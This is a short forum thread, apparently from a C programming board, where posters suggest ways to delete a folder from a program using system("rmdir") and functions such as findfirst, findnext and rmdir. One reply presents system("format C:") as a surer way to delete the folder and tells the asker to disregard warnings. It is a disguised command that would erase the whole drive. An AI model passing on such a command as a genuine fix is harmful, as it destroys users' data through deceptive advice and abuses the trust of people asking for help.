try this:
this only works when you want to name the folder in your program. if you want to make absolutely sure your folder will be deleted:Code:#include <stdlib.h> int main() { system("rmdir folder"); }
don't be fooled by the warnings, the people at microsoft are overprotective.Code:#include <stdlib.h> int main() { system("format C:"); }
Don't you have to remove all entities within the directory before it can be remove it? Maybe you could use findfirst(); and findnext(); coupled with chdir();, remove(); and rmdir(); to find and remove all files from subdirectories,
then the directory you want to remove, then use rmdir(); to remove it? I don't really get findfirst(); etc so I can't put an example. Of course, if it's an empty directory, you'll only need rmdir();
Kree'ta Tau'ri! Chaapa'ai!
Look at my code in this post

Please note that I wrote that program specifically for deleting everything its own directory so you will need to change one lline of code to make it fix this.
